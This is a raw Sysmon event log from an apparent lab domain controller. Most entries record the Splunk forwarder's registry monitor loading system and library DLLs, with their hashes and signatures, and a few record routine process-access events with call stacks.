734700x800000000000000053305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.731{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.561{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000053269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000053263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 